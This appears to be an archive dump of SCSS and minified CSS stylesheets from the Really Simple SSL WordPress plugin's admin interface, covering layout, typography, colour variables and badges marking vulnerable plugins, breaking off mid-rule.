  .button-primary .rsssl-loader div {
	background-color: #fff;
  }



  @-webkit-keyframes sk-stretchdelay {
	0%, 40%, 100% { -webkit-transform: scaleY(0.4) }
	20% { -webkit-transform: scaleY(1.0) }
  }

  @keyframes sk-stretchdelay {
	0%, 40%, 100% {
	  transform: scaleY(0.4);
	  -webkit-transform: scaleY(0.4);
	}  20% {
		 transform: scaleY(1.0);
		 -webkit-transform: scaleY(1.0);
	   }
  }

}
really-simple-ssl/assets/css/admin/theme.scss000064400000004032147510273070015310 0ustar00.rsssl{
  // Plugin specific variables down here please
  --rsp-brand-primary: var(--rsp-yellow);
  --rsp-brand-secondary: var(--rsp-blue);
  --rsp-brand-primary-faded: var(--rsp-yellow-faded);
}
//@media (prefers-color-scheme: dark) {
//  :root {
//    // Borders and stuff;
//    --rsp-border: 1px solid var(--rsp-border-color);
//    --rsp-box-shadow: rgba(0, 0, 0, 0.1) 0px 4px 6px -1px, rgba(0, 0, 0, 0.06) 0px 2px 4px -1px;
//    --rsp-box-shadow-dark: rgba(0, 0, 0, 0.2) 0px 4px 6px -1px, rgba(0, 0, 0, 0.12) 1px 0px 4px 1px;
//    --rsp-border-color: #dfdfdf;
//
//    // RSP Brand Colors
//    --rsp-black: #333;
//    --rsp-white: #fff;
//    --rsp-yellow: #f4bf3e;
//    --rsp-blue: #009fff;
//    --rsp-dark-blue: #1E73BE;
//    --rsp-green: #2e8a37;
//    --rsp-red: #D7263D;
//    --rsp-pink: #E35899;
//    --rsp-wp-blue: #007cba;
//
//    --rsp-yellow-faded: #f2e6c9;
//    --rsp-blue-faded: #ecf8fe;
//    --rsp-dark-blue-faded: #ebf2f9;
//    --rsp-green-faded: #ecf4ed;
//    --rsp-red-faded: #fbebed;
//    --rsp-pink-faded: #fceff5;
//    --rsp-wp-blue-faded: #c6e0ef;
//
//    --rsp-background-block-color: var(--rsp-black);
//    --rsp-background-color: var(--rsp-grey-600);
//
//    //Input colors
//    --rsp-input-background-color: #fff;
//    --rsp-input-text-color: var(--rsp-text-color);
//    --rsp-input-border-color: var(--rsp-grey-400);
//
//    --rsp-text-color: rgba(255, 255, 255, 0.95);
//    --rsp-text-color-invert: rgba(26, 26, 26, 0.95);
//    --rsp-text-color-white: rgba(255, 255, 255, 0.95);
//    --rsp-text-color-light: rgba(69, 69, 82, 0.95);
//
//    --rsp-grey-100: #fafafa;
//    --rsp-grey-200: #f9f9f9;
//    --rsp-grey-300: #ededed;
//    --rsp-grey-400: #c6c6c6;
//    --rsp-grey-500: #737373;
//    --rsp-grey-600: #696969;
//
//    // Notification colors
//    --rsp-color-success: var(--rsp-green);
//    --rsp-color-error: var(--rsp-red);
//    --rsp-color-open: var(--rsp-yellow);
//    --rsp-color-disabled: var(--rsp-grey-300);
//  }
//  .rsssl-header .rsssl-logo{
//    filter: brightness(0) invert(1);
//  }
//}really-simple-ssl/assets/css/admin/index.php000064400000000034147510273070015127 0ustar00<?php
// Silence is golden.
really-simple-ssl/assets/css/admin/layout.scss000064400000012556147510273070015535 0ustar00/* Grid */
.rsssl {
  .rsssl-header, .rsssl-content-area {
    max-width: clamp(300px, calc(100% - var(--rsp-grid-gap) * 2), 1600px);
    margin: 0 auto;
    @media(max-width: $rsp-break-xxl) {
      --rsp-grid-gap: var(--rsp-spacing-m);
    }
    @media(max-width: $rsp-break-xl) { // 1440px
      --rsp-grid-gap: var(--rsp-spacing-s);
    }
    @media(max-width: $rsp-break-l) { // 1366px
      --rsp-grid-gap: var(--rsp-spacing-xs);
    }
    @media(max-width: $rsp-break-m) { // 1280px
    }
    @media(max-width: $rsp-break-s) { // 1080px

    }
  }

  .rsssl-header-container .rsssl-header {
    display: flex;
    flex-wrap: wrap;
    justify-content: space-between;
    height: 70px;
    box-sizing: border-box;
    background-color: var(--rsp-background-block-color);
    @media(max-width: $rsp-break-s) {
      height: 100%;
    }
  }
  .rsssl-logo {
    @media(max-width: $rsp-break-xxs) {
      display:none;
    }
  }
  .rsssl-header-left {
    display: flex;
    font-size: var(--rsp-fs-400);

    @media(max-width: $rsp-break-s) {
      justify-content: center;
      margin: var(--rsp-spacing-xs) 0;
      order: 3;
      width: 100%;
      background-color: var(--rsp-background-block-color);
    }

    .rsssl-header-menu {
      margin: auto 15px;

      ul {
        display: flex;
      }

      li {
        margin-bottom: 0;
      }

      a {
        padding: 23px 15px;
        text-decoration: none;
        color: var(--rsp-text-color);
        height: 100%;
        border-bottom: 4px solid transparent;
        transition: border 0.3s ease-out;
        box-sizing: border-box;
        -moz-box-sizing: border-box;
        -webkit-box-sizing: border-box;
        @media(max-width: $rsp-break-s) {
          padding: 10px 15px;
        }
        &.active {
          border-bottom: 4px solid var(--rsp-brand-primary);
        }

        &:hover {
          color: var(--rsp-brand-primary);
        }
      }
    }
  }

  .rsssl-header-right {
    display: flex;
    flex-wrap: wrap;
    align-items: center;
    margin-left: auto;
    gap: var(--rsp-spacing-s);
    min-height: 52px;

    select {
      max-width: 60ch;
    }
    @media(max-width: $rsp-break-xxs) {
      display:none;
    }
    @media(max-width: $rsp-break-xs) {
      .button {
        display: none;
      }
    }
  }


  .rsssl-content-area {
    margin-top: var(--rsp-grid-gap);
  }

  .rsssl-header-container {
    background: var(--rsp-background-block-color);
  }

  .rsssl-grid {
    display: grid;
    grid-template-columns: repeat(4, 1fr);
    grid-auto-rows: max-content;
    gap: var(--rsp-grid-gap);
    min-height: calc(100vh - 32px - 80px - 20px - var(--rsp-grid-gap)); //32px = wordpress bar, 80px = cmplz bar, 20px = margin-top, 20px is grid gap
    &.rsssl-settings, &.rsssl-letsencrypt{
      grid-template-columns: minmax(235px, max-content) 2fr minmax(min-content, 1fr);
      @media only screen and ( max-width: $rsp-break-s)  {
        grid-template-columns: repeat(4, 1fr);
        .rsssl-wizard-menu, .rsssl-wizard-settings, .rsssl-wizard-help {
            grid-column: 1 / -1;
        }
      }
    }
    @media only screen and ( max-width: $rsp-break-m)  {
      grid-template-columns: repeat(2,1fr);
    }

    @media only screen and ( max-width: $rsp-break-s)  {
      max-width:790px;
      width: calc(100% - var(--rsp-grid-gap) * 2)
    }
  }

  .rsssl-grid-item {
    @include rsssl-block;
    display: flex;
    flex-wrap: wrap;
    justify-content: flex-start;
    flex-direction: column;
    flex-basis: 100%;
    //min-height: 200px;//seems odd for blocks with only one item: lots of white space
    grid-column: span 1;
    grid-row: span 1;
    &.rsssl-disabled {
      min-height:320px;//add min height on disabled so the settings is visible behind the locked div.
    }
    &.rsssl-two_fa_users {
      .rsssl-grid-item-content {
        .rsssl-field-wrap {
          margin-top: -50px;
        }
      }
    }

  @media(max-width: $rsp-break-s) {
    grid-column: span 4;
  }

  &.no-background {
    background: none;
    border: none;
    box-shadow: none;
  }

  &.rsssl-column-2 {
    grid-column: span 2;
    @media(max-width: $rsp-break-s) {
      grid-column: span 4;
    }
  }

  &.rsssl-row-2 {
    grid-row: span 2;
    min-height: 400px;
  }

  &-header {
    width: 100%;
    box-sizing: border-box;
    display: flex;
    align-items: center;
    justify-content: space-between;
    min-height: calc(30px + var(--rsp-spacing-s) * 2);
    @include rsssl-block-padding;

    &:empty {
      display: none;
    }
  }

  &-title {
    margin: 4px 0 4px 0;
  }

  &-controls {
    font-size: var(--rsp-fs-200);
    display: flex;
    gap: var(--rsp-spacing-s);
  }

    &-content {
      flex-grow: 100;
      width: 100%;
      box-sizing: border-box;
      @include rsssl-inline-block-padding;
      &:empty {
        display: none;
      }
    }

    &-footer {
      display: flex;
      flex-wrap: wrap;
      align-items: center;
      align-self: flex-end;
      justify-content: space-between;
      gap: var(--rsp-grid-margin);
      width: 100%;
      min-height: calc(30px + var(--rsp-spacing-s) * 2);
      box-sizing: border-box;
      @include rsssl-block-padding;
      .rsssl-legend {
        display: flex;

      span {
        padding-left: 5px;
      }
    }

    &:empty {
      display: none;
    }
  }

  .rsssl-flex-push-right {
    margin-left: auto;
  }

  .rsssl-flex-push-left {
    margin-right: auto;
  }
}
}
really-simple-ssl/assets/css/admin/base.scss000064400000004362147510273070015126 0ustar00.rsssl {
  font-variant-numeric: tabular-nums; // https://css-tricks.com/almanac/properties/f/font-variant-numeric/
  margin: 0;
  margin-left: -20px;
  font-size: var(--rsp-fs-300);
  box-sizing: border-box;
  color: var(--rsp-text-color);
  font-weight: 400;
  line-height: 1.5;
  @media only screen and ( max-width: $rsp-break-xs)  {
    margin-left: -9px;
  }
  *, *:before, *:after {
    box-sizing: inherit;
  }

  body, h1, h2, h3, h4, h5, h6, p, ol, ul {
    margin: 0;
    padding: 0;
  }

  img {
    max-width: 100%;
    height: auto;
  }

  h1, h2, h3, h4, h5, h6 {
    color: var(--rsp-text-color);
    line-height: 1.5;
  }

  .rsssl-h0 {
    font-size: var(--rsp-fs-900);
    font-weight: 700;
    letter-spacing: 0.025rem;
  }

  h1, .rsssl-h1 {
    font-size: var(--rsp-fs-800);
    line-height: 1.5;
    font-weight: 500;
    letter-spacing: 0.025rem;
  }

  h2, .rsssl-h2 {
    font-size: var(--rsp-fs-700);
    font-weight: 700;
    letter-spacing: 0.025rem;
  }

  h3, .rsssl-h3 {
    font-size: var(--rsp-fs-600);
    font-weight: 600;
    letter-spacing: 0.0125rem;
  }

  h4, .rsssl-h4 {
    font-size: var(--rsp-fs-500);
    font-weight: 600;
    letter-spacing: 0.0125rem;
  }

  h5, .rsssl-h5 {
    font-size: var(--rsp-fs-400);
    font-weight: 400;
    letter-spacing: 0.1px;
  }

  h6, .rsssl-h6 {
    font-size: var(--rsp-fs-300);
    letter-spacing: 0.1px;
  }

  p {
    color: var(--rsp-text-color);
    font-weight: 400;
    font-size: var(--rsp-fs-300);
    line-height: 1.5;
  }

  .rsssl-small-text {
    font-size: var(--rsp-fs-200);
    line-height: 1.5;
    color: var(--rsp-text-color-light);
  }

  a {
    font-size: 1em;
  }

  //wordpress inserts notices after the first h1 or h2. To prevent breaking layout we insert an empty h1 tag at the start of our page, where WP can insert the notice.
  .rsssl-notice-hook-element {
    display: none !important;
  }
  .rsssl-divider {
    width: 1px;
    height: 1.3rem;
    background-color: #cccccc;
  }
}
// Hide nags from other plugins
.error, .notice, .update-nag, .notice-info {
  &:not(.really-simple-plugins) {
    display: none !important;
  }
  &.really-simple-plugins{
    margin: var(--rsp-grid-gap);
  }
}

.number_full input[type=number] {
  width: 100% !important;
  position: relative;
}really-simple-ssl/assets/css/rsssl-plugin.scss000064400000002015147510273070015557 0ustar00/*
  This was created for styling the plugin overview page for vulnerable plugins.
 */
@import "variables.scss";

.rsssl-btn-vulnerable {
  display: inline-block;
  text-decoration: none;
  font-size: var(--rsp-fs-100);
  line-height: 2.15384615;
  min-height: 30px;
  margin: 0;
  padding: 4px 8px;
  min-width: 100px;
  text-align: center;
  cursor: pointer;
  font-weight: 600;
  -webkit-appearance: none;
  border-radius: var(--rsp-border-radius-xs);
  white-space: nowrap;
  box-sizing: border-box;
  background-color: var(--rsp-yellow);
  color: var(--rsp-black);
  border-color: var(--rsp-yellow);
  &:hover {
    text-decoration: underline;
  }

  &.rsssl-critical {
    background-color: var(--rsp-red);
    color: var(--rsp-white);
    border-color: var(--rsp-red);
  }

  &.rsssl-high {
    background-color: var(--rsp-red);
    color: var(--rsp-white);
    border-color: var(--rsp-red);
  }

  &.rsssl-medium {
    border-color: var(--rsp-yellow);
    color: var(--rsp-black);
    background-color: var(--rsp-yellow);
  }
}

really-simple-ssl/assets/css/rtl/plugin.min.css000064400000005302147510273070015615 0ustar00:root{--rsp-spacing-xxs:5px;--rsp-spacing-xs:10px;--rsp-spacing-s:15px;--rsp-spacing-m:20px;--rsp-spacing-l:25px;--rsp-spacing-xl:30px;--rsp-grid-margin:var(--rsp-spacing-s);--rsp-grid-gap:var(--rsp-spacing-m);--rsp-border-radius:12px;--rsp-border-radius-s:8px;--rsp-border-radius-xs:3px;--rsp-border:1px solid var(--rsp-border-color);--rsp-box-shadow:rgba(0,0,0,0.1) 0 4px 6px -1px,rgba(0,0,0,0.06) 0 2px 4px -1px;--rsp-box-shadow-dark:rgba(0,0,0,0.2) 0 4px 6px -1px,rgba(0,0,0,0.12) 1px 0 4px 1px;--rsp-border-color:#dfdfdf;--rsp-black:#333;--rsp-white:#fff;--rsp-yellow:#fbc43e;--rsp-blue:#009fff;--rsp-dark-yellow:#e6a800;--rsp-dark-blue:#1e73be;--rsp-green:#2e8a37;--rsp-red:#d7263d;--rsp-dark-red:#9b0212;--rsp-pink:#e35899;--rsp-wp-blue:#007cba;--rsp-yellow-faded:#fdf4df;--rsp-blue-faded:#ecf8fe;--rsp-dark-blue-faded:#ebf2f9;--rsp-green-faded:#ecf4ed;--rsp-red-faded:#fbebed;--rsp-pink-faded:#fceff5;--rsp-wp-blue-faded:#c6e0ef;--rsp-background-block-color:var(--rsp-white);--rsp-background-color:#f0f0f1;--rsp-input-background-color:#fff;--rsp-input-text-color:var(--rsp-text-color);--rsp-input-border-color:var(--rsp-grey-400);--rsp-text-color:rgba(26,26,26,0.9);--rsp-text-color-invert:rgba(255,255,255,0.9);--rsp-text-color-white:rgba(255,255,255,0.9);--rsp-text-color-light:rgba(69,69,82,0.9);--rsp-text-color-hover:var(--rsp-green);--rsp-grey-100:#fafafa;--rsp-grey-200:#f7f7f7;--rsp-grey-300:#ededed;--rsp-grey-400:#c6c6c6;--rsp-grey-500:#737373;--rsp-grey-600:#696969;--rsp-color-success:var(--rsp-green);--rsp-color-error:var(--rsp-red);--rsp-color-warning:var(--rsp-yellow);--rsp-color-open:var(--rsp-yellow);--rsp-color-disabled:var(--rsp-grey-300);--rsp-fs-100:.6875rem;--rsp-fs-200:.75rem;--rsp-fs-300:.8125rem;--rsp-fs-400:.875rem;--rsp-fs-500:1rem;--rsp-fs-600:1.125rem;--rsp-fs-700:1.25rem;--rsp-fs-800:1.5rem;--rsp-fs-850:2.8rem;--rsp-fs-900:3.5rem}@keyframes fade-in{0%{opacity:0}100%{opacity:1}}.rsssl-btn-vulnerable{display:inline-block;text-decoration:none;font-size:var(--rsp-fs-100);line-height:2.15384615;min-height:30px;margin:0;padding:4px 8px;min-width:100px;text-align:center;cursor:pointer;font-weight:600;-webkit-appearance:none;border-radius:var(--rsp-border-radius-xs);white-space:nowrap;box-sizing:border-box;background-color:var(--rsp-yellow);color:var(--rsp-black);border-color:var(--rsp-yellow)}.rsssl-btn-vulnerable:hover{text-decoration:underline}.rsssl-btn-vulnerable.rsssl-critical{background-color:var(--rsp-red);color:var(--rsp-white);border-color:var(--rsp-red)}.rsssl-btn-vulnerable.rsssl-high{background-color:var(--rsp-red);color:var(--rsp-white);border-color:var(--rsp-red)}.rsssl-btn-vulnerable.rsssl-medium{border-color:var(--rsp-yellow);color:var(--rsp-black);background-color:var(--rsp-yellow)}really-simple-ssl/assets/css/rtl/admin.min.css000064400000446667147510273070015436 0ustar00@charset "UTF-8";:root{--rsp-spacing-xxs:5px;--rsp-spacing-xs:10px;--rsp-spacing-s:15px;--rsp-spacing-m:20px;--rsp-spacing-l:25px;--rsp-spacing-xl:30px;--rsp-grid-margin:var(--rsp-spacing-s);--rsp-grid-gap:var(--rsp-spacing-m);--rsp-border-radius:12px;--rsp-border-radius-s:8px;--rsp-border-radius-xs:3px;--rsp-border:1px solid var(--rsp-border-color);--rsp-box-shadow:rgba(0,0,0,0.1) 0 4px 6px -1px,rgba(0,0,0,0.06) 0 2px 4px -1px;--rsp-box-shadow-dark:rgba(0,0,0,0.2) 0 4px 6px -1px,rgba(0,0,0,0.12) 1px 0 4px 1px;--rsp-border-color:#dfdfdf;--rsp-black:#333;--rsp-white:#fff;--rsp-yellow:#fbc43e;--rsp-blue:#009fff;--rsp-dark-yellow:#e6a800;--rsp-dark-blue:#1e73be;--rsp-green:#2e8a37;--rsp-red:#d7263d;--rsp-dark-red:#9b0212;--rsp-pink:#e35899;--rsp-wp-blue:#007cba;--rsp-yellow-faded:#fdf4df;--rsp-blue-faded:#ecf8fe;--rsp-dark-blue-faded:#ebf2f9;--rsp-green-faded:#ecf4ed;--rsp-red-faded:#fbebed;--rsp-pink-faded:#fceff5;--rsp-wp-blue-faded:#c6e0ef;--rsp-background-block-color:var(--rsp-white);--rsp-background-color:#f0f0f1;--rsp-input-background-color:#fff;--rsp-input-text-color:var(--rsp-text-color);--rsp-input-border-color:var(--rsp-grey-400);--rsp-text-color:rgba(26,26,26,0.9);--rsp-text-color-invert:rgba(255,255,255,0.9);--rsp-text-color-white:rgba(255,255,255,0.9);--rsp-text-color-light:rgba(69,69,82,0.9);--rsp-text-color-hover:var(--rsp-green);--rsp-grey-100:#fafafa;--rsp-grey-200:#f7f7f7;--rsp-grey-300:#ededed;--rsp-grey-400:#c6c6c6;--rsp-grey-500:#737373;--rsp-grey-600:#696969;--rsp-color-success:var(--rsp-green);--rsp-color-error:var(--rsp-red);--rsp-color-warning:var(--rsp-yellow);--rsp-color-open:var(--rsp-yellow);--rsp-color-disabled:var(--rsp-grey-300);--rsp-fs-100:.6875rem;--rsp-fs-200:.75rem;--rsp-fs-300:.8125rem;--rsp-fs-400:.875rem;--rsp-fs-500:1rem;--rsp-fs-600:1.125rem;--rsp-fs-700:1.25rem;--rsp-fs-800:1.5rem;--rsp-fs-850:2.8rem;--rsp-fs-900:3.5rem}@keyframes fade-in{0%{opacity:0}100%{opacity:1}}.rsssl{font-variant-numeric:tabular-nums;margin:0;margin-right:-20px;font-size:var(--rsp-fs-300);box-sizing:border-box;color:var(--rsp-text-color);font-weight:400;line-height:1.5}@media only screen and (max-width:768px){.rsssl{margin-right:-9px}}.rsssl *,.rsssl *:before,.rsssl *:after{box-sizing:inherit}.rsssl body,.rsssl h1,.rsssl h2,.rsssl h3,.rsssl h4,.rsssl h5,.rsssl h6,.rsssl p,.rsssl ol,.rsssl ul{margin:0;padding:0}.rsssl img{max-width:100%;height:auto}.rsssl h1,.rsssl h2,.rsssl h3,.rsssl h4,.rsssl h5,.rsssl h6{color:var(--rsp-text-color);line-height:1.5}.rsssl .rsssl-h0{font-size:var(--rsp-fs-900);font-weight:700;letter-spacing:.025rem}.rsssl h1,.rsssl .rsssl-h1{font-size:var(--rsp-fs-800);line-height:1.5;font-weight:500;letter-spacing:.025rem}.rsssl h2,.rsssl .rsssl-h2{font-size:var(--rsp-fs-700);font-weight:700;letter-spacing:.025rem}.rsssl h3,.rsssl .rsssl-h3{font-size:var(--rsp-fs-600);font-weight:600;letter-spacing:.0125rem}.rsssl h4,.rsssl .rsssl-h4{font-size:var(--rsp-fs-500);font-weight:600;letter-spacing:.0125rem}.rsssl h5,.rsssl .rsssl-h5{font-size:var(--rsp-fs-400);font-weight:400;letter-spacing:.1px}.rsssl h6,.rsssl .rsssl-h6{font-size:var(--rsp-fs-300);letter-spacing:.1px}.rsssl p{color:var(--rsp-text-color);font-weight:400;font-size:var(--rsp-fs-300);line-height:1.5}.rsssl .rsssl-small-text{font-size:var(--rsp-fs-200);line-height:1.5;color:var(--rsp-text-color-light)}.rsssl a{font-size:1em}.rsssl .rsssl-notice-hook-element{display:none !important}.rsssl .rsssl-divider{width:1px;height:1.3rem;background-color:#ccc}.error:not(.really-simple-plugins),.notice:not(.really-simple-plugins),.update-nag:not(.really-simple-plugins),.notice-info:not(.really-simple-plugins){display:none !important}.error.really-simple-plugins,.notice.really-simple-plugins,.update-nag.really-simple-plugins,.notice-info.really-simple-plugins{margin:var(--rsp-grid-gap)}.number_full input[type=number]{width:100% !important;position:relative}.rsssl .rsssl-header,.rsssl .rsssl-content-area{max-width:clamp(300px,100% - var(--rsp-grid-gap) * 2,1600px);margin:0 auto}@media(max-width:1599px){.rsssl .rsssl-header,.rsssl .rsssl-content-area{--rsp-grid-gap:var(--rsp-spacing-m)}}@media(max-width:1440px){.rsssl .rsssl-header,.rsssl .rsssl-content-area{--rsp-grid-gap:var(--rsp-spacing-s)}}@media(max-width:1366px){.rsssl .rsssl-header,.rsssl .rsssl-content-area{--rsp-grid-gap:var(--rsp-spacing-xs)}}.rsssl .rsssl-header-container .rsssl-header{display:flex;flex-wrap:wrap;justify-content:space-between;height:70px;box-sizing:border-box;background-color:var(--rsp-background-block-color)}@media(max-width:1080px){.rsssl .rsssl-header-container .rsssl-header{height:100%}}@media(max-width:576px){.rsssl .rsssl-logo{display:none}}.rsssl .rsssl-header-left{display:flex;font-size:var(--rsp-fs-400)}@media(max-width:1080px){.rsssl .rsssl-header-left{justify-content:center;margin:var(--rsp-spacing-xs) 0;order:3;width:100%;background-color:var(--rsp-background-block-color)}}.rsssl .rsssl-header-left .rsssl-header-menu{margin:auto 15px}.rsssl .rsssl-header-left .rsssl-header-menu ul{display:flex}.rsssl .rsssl-header-left .rsssl-header-menu li{margin-bottom:0}.rsssl .rsssl-header-left .rsssl-header-menu a{padding:23px 15px;text-decoration:none;color:var(--rsp-text-color);height:100%;border-bottom:4px solid transparent;transition:border .3s ease-out;box-sizing:border-box;-moz-box-sizing:border-box;-webkit-box-sizing:border-box}@media(max-width:1080px){.rsssl .rsssl-header-left .rsssl-header-menu a{padding:10px 15px}}.rsssl .rsssl-header-left .rsssl-header-menu a.active{border-bottom:4px solid var(--rsp-brand-primary)}.rsssl .rsssl-header-left .rsssl-header-menu a:hover{color:var(--rsp-brand-primary)}.rsssl .rsssl-header-right{display:flex;flex-wrap:wrap;align-items:center;margin-right:auto;gap:var(--rsp-spacing-s);min-height:52px}.rsssl .rsssl-header-right select{max-width:60ch}@media(max-width:576px){.rsssl .rsssl-header-right{display:none}}@media(max-width:768px){.rsssl .rsssl-header-right .button{display:none}}.rsssl .rsssl-content-area{margin-top:var(--rsp-grid-gap)}.rsssl .rsssl-header-container{background:var(--rsp-background-block-color)}.rsssl .rsssl-grid{display:grid;grid-template-columns:repeat(4,1fr);grid-auto-rows:max-content;gap:var(--rsp-grid-gap);min-height:calc(100vh - 32px - 80px - 20px - var(--rsp-grid-gap))}.rsssl .rsssl-grid.rsssl-settings,.rsssl .rsssl-grid.rsssl-letsencrypt{grid-template-columns:minmax(235px,max-content) 2fr minmax(min-content,1fr)}@media only screen and (max-width:1080px){.rsssl .rsssl-grid.rsssl-settings,.rsssl .rsssl-grid.rsssl-letsencrypt{grid-template-columns:repeat(4,1fr)}.rsssl .rsssl-grid.rsssl-settings .rsssl-wizard-menu,.rsssl .rsssl-grid.rsssl-settings .rsssl-wizard-settings,.rsssl .rsssl-grid.rsssl-settings .rsssl-wizard-help,.rsssl .rsssl-grid.rsssl-letsencrypt .rsssl-wizard-menu,.rsssl .rsssl-grid.rsssl-letsencrypt .rsssl-wizard-settings,.rsssl .rsssl-grid.rsssl-letsencrypt .rsssl-wizard-help{grid-column:1/-1}}@media only screen and (max-width:1280px){.rsssl .rsssl-grid{grid-template-columns:repeat(2,1fr)}}@media only screen and (max-width:1080px){.rsssl .rsssl-grid{max-width:790px;width:calc(100% - var(--rsp-grid-gap) * 2)}}.rsssl .rsssl-grid-item{background:var(--rsp-background-block-color);box-shadow:var(--rsp-box-shadow);border-radius:var(--rsp-border-radius);display:flex;flex-wrap:wrap;justify-content:flex-start;flex-direction:column;flex-basis:100%;grid-column:span 1;grid-row:span 1}.rsssl .rsssl-grid-item.rsssl-disabled{min-height:320px}.rsssl .rsssl-grid-item.rsssl-two_fa_users .rsssl-grid-item-content .rsssl-field-wrap{margin-top:-50px}@media(max-width:1080px){.rsssl .rsssl-grid-item{grid-column:span 4}}.rsssl .rsssl-grid-item.no-background{background:100%;border:0;box-shadow:none}.rsssl .rsssl-grid-item.rsssl-column-2{grid-column:span 2}@media(max-width:1080px){.rsssl .rsssl-grid-item.rsssl-column-2{grid-column:span 4}}.rsssl .rsssl-grid-item.rsssl-row-2{grid-row:span 2;min-height:400px}.rsssl .rsssl-grid-item-header{width:100%;box-sizing:border-box;display:flex;align-items:center;justify-content:space-between;min-height:calc(30px + var(--rsp-spacing-s) * 2);padding:var(--rsp-spacing-m) var(--rsp-spacing-l)}@media screen and (max-width:1280px){.rsssl .rsssl-grid-item-header{padding:var(--rsp-spacing-xs) var(--rsp-spacing-s)}}@media screen and (max-width:1080px){.rsssl .rsssl-grid-item-header{padding:var(--rsp-spacing-xs) var(--rsp-spacing-s)}}.rsssl .rsssl-grid-item-header:empty{display:none}.rsssl .rsssl-grid-item-title{margin:4px 0 4px 0}.rsssl .rsssl-grid-item-controls{font-size:var(--rsp-fs-200);display:flex;gap:var(--rsp-spacing-s)}.rsssl .rsssl-grid-item-content{flex-grow:100;width:100%;box-sizing:border-box;padding-inline:var(--rsp-spacing-l)}@media screen and (max-width:1280px){.rsssl .rsssl-grid-item-content{padding-inline:var(--rsp-spacing-m)}}@media screen and (max-width:1080px){.rsssl .rsssl-grid-item-content{padding-inline:var(--rsp-spacing-s)}}.rsssl .rsssl-grid-item-content:empty{display:none}.rsssl .rsssl-grid-item-footer{display:flex;flex-wrap:wrap;align-items:center;align-self:flex-end;justify-content:space-between;gap:var(--rsp-grid-margin);width:100%;min-height:calc(30px + var(--rsp-spacing-s) * 2);box-sizing:border-box;padding:var(--rsp-spacing-m) var(--rsp-spacing-l)}@media screen and (max-width:1280px){.rsssl .rsssl-grid-item-footer{padding:var(--rsp-spacing-xs) var(--rsp-spacing-s)}}@media screen and (max-width:1080px){.rsssl .rsssl-grid-item-footer{padding:var(--rsp-spacing-xs) var(--rsp-spacing-s)}}.rsssl .rsssl-grid-item-footer .rsssl-legend{display:flex}.rsssl .rsssl-grid-item-footer .rsssl-legend span{padding-right:5px}.rsssl .rsssl-grid-item-footer:empty{display:none}.rsssl .rsssl-grid-item .rsssl-flex-push-right{margin-right:auto}.rsssl .rsssl-grid-item .rsssl-flex-push-left{margin-left:auto}.rsssl-header-container .rsssl-header{display:flex;justify-content:space-between;height:70px;box-sizing:border-box}.rsssl-header-container .rsssl-header img{margin:auto 0;height:26px}.rsssl-header-container .rsssl-header .rsssl-header-menu{display:flex;align-items:center;height:100%;padding:0 20px;box-sizing:border-box}.rsssl-header-container .rsssl-header .rsssl-header-menu .rsssl-header-menu-item{display:flex;align-items:center;height:100%;padding:0 20px;box-sizing:border-box}.rsssl-header-container .rsssl-header .rsssl-header-menu .rsssl-header-menu-item:first-child{margin-right:0}.rsssl-header-container .rsssl-header .rsssl-header-menu .rsssl-header-menu-item:last-child{margin-left:0}.rsssl-header-container .rsssl-header .rsssl-header-menu .rsssl-header-menu-item.rsssl-header-menu-item-active{background-color:#f5f5f5}.rsssl-header-container .rsssl-header .rsssl-header-actions{display:flex;align-items:center;margin-right:auto;gap:var(--rsp-spacing-s)}.rsssl-header-container .rsssl-header .rsssl-header-actions select{max-width:60ch}.rsssl-grid .border-to-border .rsssl-grid-item-content{padding:0}.rsssl-grid .border-to-border .rsssl-grid-item-content>*{padding-inline:var(--rsp-spacing-l);width:100%;display:flex;flex-wrap:wrap;align-items:center}.rsssl-grid .border-to-border.rsssl-ssllabs .rsssl-grid-item-content>*,.rsssl-grid .border-to-border.rsssl-wpvul .rsssl-grid-item-content>*{padding-right:0;padding-left:0}.rsssl .rsssl-wpvul .rsssl-icon{margin-top:5px}.rsssl .rsssl-ssl-labs-select,.rsssl .rsssl-hardening-select{background:var(--rsp-grey-200);padding-inline:var(--rsp-spacing-l);padding-block:var(--rsp-spacing-m);display:grid;width:100%;grid-template-columns:calc(50% - var(--rsp-spacing-s) / 2) calc(50% - var(--rsp-spacing-s) / 2);gap:var(--rsp-spacing-s);transition:background-color .3s ease-in-out}.rsssl .rsssl-ssl-labs-select.rsssl-error,.rsssl .rsssl-hardening-select.rsssl-error{background:var(--rsp-red-faded)}.rsssl .rsssl-ssl-labs-select.rsssl-warning,.rsssl .rsssl-hardening-select.rsssl-warning{background:var(--rsp-yellow-faded)}.rsssl .rsssl-ssl-labs-select.rsssl-success,.rsssl .rsssl-hardening-select.rsssl-success{background:var(--rsp-green-faded)}.rsssl .rsssl-ssl-labs-select-item,.rsssl .rsssl-hardening-select-item{border-radius:var(--rsp-border-radius-xs);display:flex;flex-direction:column;justify-content:center;text-align:center;padding-block:var(--rsp-spacing-s);justify-items:center;flex-wrap:wrap;background:var(--rsp-white);min-height:118px}.rsssl .rsssl-ssl-labs-select-item.active,.rsssl .rsssl-hardening-select-item.active{box-shadow:inset 0 0 3px 2px var(--rsp-green-faded);border:2px solid var(--rsp-green)}.rsssl .rsssl-ssl-labs-select-item h2,.rsssl .rsssl-hardening-select-item h2{margin-top:var(--rsp-spacing-xxs);font-weight:800}.rsssl .rsssl-ssl-labs-select-item h2.big-number,.rsssl .rsssl-hardening-select-item h2.big-number{font-size:var(--rsp-fs-850)}.rsssl .rsssl-ssl-labs-select-item span,.rsssl .rsssl-hardening-select-item span{display:flex;gap:3px;justify-content:center;font-size:var(--rsp-fs-100)}.rsssl .rsssl-ssl-labs-list,.rsssl .rsssl-hardening-list{width:100%}.rsssl .rsssl-ssl-labs-list-item,.rsssl .rsssl-hardening-list-item{width:100%;display:grid;justify-items:flex-start;grid-template-columns:auto 1fr auto;gap:var(--rsp-spacing-s);padding-block:var(--rsp-spacing-xs);padding-inline:var(--rsp-spacing-l)}.rsssl .rsssl-ssl-labs-list-item:nth-of-type(even),.rsssl .rsssl-hardening-list-item:nth-of-type(even){background:var(--rsp-grey-200)}.rsssl .rsssl-ssl-labs-list-item-text,.rsssl .rsssl-hardening-list-item-text{width:100%;margin-left:auto}.rsssl .rsssl-ssl-labs-list-item-number,.rsssl .rsssl-hardening-list-item-number{font-weight:600}.rsssl .rsssl-ssl-labs-list-item .rsssl-icon,.rsssl .rsssl-hardening-list-item .rsssl-icon{align-items:start;margin-top:2px}.rsssl .rsssl-ssl-labs-select-item{padding-inline:var(--rsp-spacing-s);gap:var(--rsp-spacing-xxs)}.rsssl .rsssl-ssl-labs 